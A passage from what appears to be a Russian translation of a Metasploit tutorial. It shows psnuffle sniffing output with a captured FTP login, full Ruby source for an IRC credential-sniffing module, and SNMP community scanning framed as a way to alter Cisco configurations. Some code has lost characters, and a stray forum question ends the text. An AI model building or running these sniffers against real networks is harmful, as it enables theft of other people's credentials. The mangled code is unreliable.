Как вы видите, есть несколько вариантов, включая возможность импорта файлов PCAP. Мы будем запускать сканер в режиме по умолчанию.
msf auxiliary(psnuffle) > run [*] Auxiliary module running as background job [*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb... [*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... [*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com 3CDaemon FTP Server Version 2.0)
Мы успешно захватили Логин FTP. Это отличный инструмент для пассивного сбора информации.
Как написать новый модуль psnuffle.
Psnuffle легко расширить за счет своей модульной конструкции. Этот раздел будет описывать процесс разработки модуля снифера под IRC (Internet Relay Chat) с уведомлением сообщением.
Расположение модуля.
Все модули находятся по пути data/exploits/psnuffle. Имена модулей соответствуют названию протокола. Для разработки нашего собственного модуля, взглянем на важные части существующего модуля POP3 в качестве шаблона.
План определений.
self.sigs = { :ok => /^(+OK[^n]*)n/si, :err => /^(-ERR[^n]*)n/si, :user => /^USERs+([^n]+)n/si, :pass => /^PASSs+([^n]+)n/si, :quit => /^(QUITs*[^n]*)n/si }
Этот раздел определяет особенности экспрессии, которая будет использоваться во время снифинга и находить интересные данные. В начале регулярные выражения выглядят очень странно, но сами по себе они очень мощны.
self.sigs = { :user => /^(NICKs+[^n]+)/si, :pass => /b(IDENTIFYs+[^n]+)/si,}
IRC секция будет выглядеть как та секция выше. Я знаю, не все nickservers отправляют идентификацию в сообщении паролем. Но как минимум один это делает точно. В нашем примере :)
Секция определения.
Для каждого модуля мы должны сначала определить, какие порты он должен занимать и как сессия должна отслеживаться.
eturn if not pkt[:tcp] # We don't want to handle anything other than tcp return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667 #Ensure that the session hash stays the same for both way of communication if (pkt[:tcp].dst_port == 6667) # When packet is sent to server s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}") else # When packet is coming from the server s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}") end case matched when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content s[:user]=matches #Store the name into the session hash s for later use # Do whatever you like here... maybe a puts if you need to when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching s[:pass]=matches # Store the password into the session hash s as well if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n" end sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore when nil # No matches, don't do anything else # Just in case anything else is matching... sessions[s[:session]].merge!({k => matches}) # Just add it to the session object end
Скачать полный сценарий можно отсюда .
SNMP поиск.
SNMP хороший индикатор компрометирующей информации об удаленном устройстве. Если сможете обнаружить устройство Cisco, вы можете скачать файл конфигурации, модифицировать его и закачать обратно модифицированным. В тоже время существует возможность получить пароли уровня 7, устройства, которые достаточно тривиальны для декодирования.
Metasploit поставляется со встроенным вспомогательным модулем поиска SNMP устройств. Есть несколько вещей, которые следует понимать, прежде чем осуществить нашу атаку. Во-первых, какой доступ мы получаем к информации на удаленном устройстве, только читать или читать и писать, это играет важную роль в связи с возможностью модификации. Либо вы «определите» устройство только для чтения или для чтения и записи, во втором случае это уже означает значительный доступ к устройству, но такое случается редко. Кроме того, если устройства на базе Windows настроены с SNMP, через настройки RO/RW можно извлечь информацию о наличии патчей, запущенных сервисах, последней перезагрузки, пользователях системы, маршрутах, а также различные другие объемы информации, что является ценным для злоумышленника.
При запросе к SNMP происходит вызов MIB API. MIB это Management Information Base (MIB), это интерфейс позволяющий опрашивать устройства и получать информацию. В Metasploit по умолчанию уже загружена база MIB. Он использует эту базу для запросов к устройству и получении информации, в зависимости от уровня доступа. Давайте взглянем на вспомогательный модуль.
msf > search snmp [*] Searching loaded modules for pattern 'snmp'... Exploits ======== Name Description ---- ----------- windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32) Auxiliary ========= Name Description ---- ----------- scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module scanner/snmp/community SNMP Community Scanner msf auxiliary(wardial) > use scanner/snmp/community msf auxiliary(community) > show options Module options:
db_add_host Add one or MORE hosts to the database
Знает ли кто-нибудь как добавить именно more hosts (диапазон)?
Конструкции типа 192.168.1.0/24 и 192.168.1.0-255 не дает.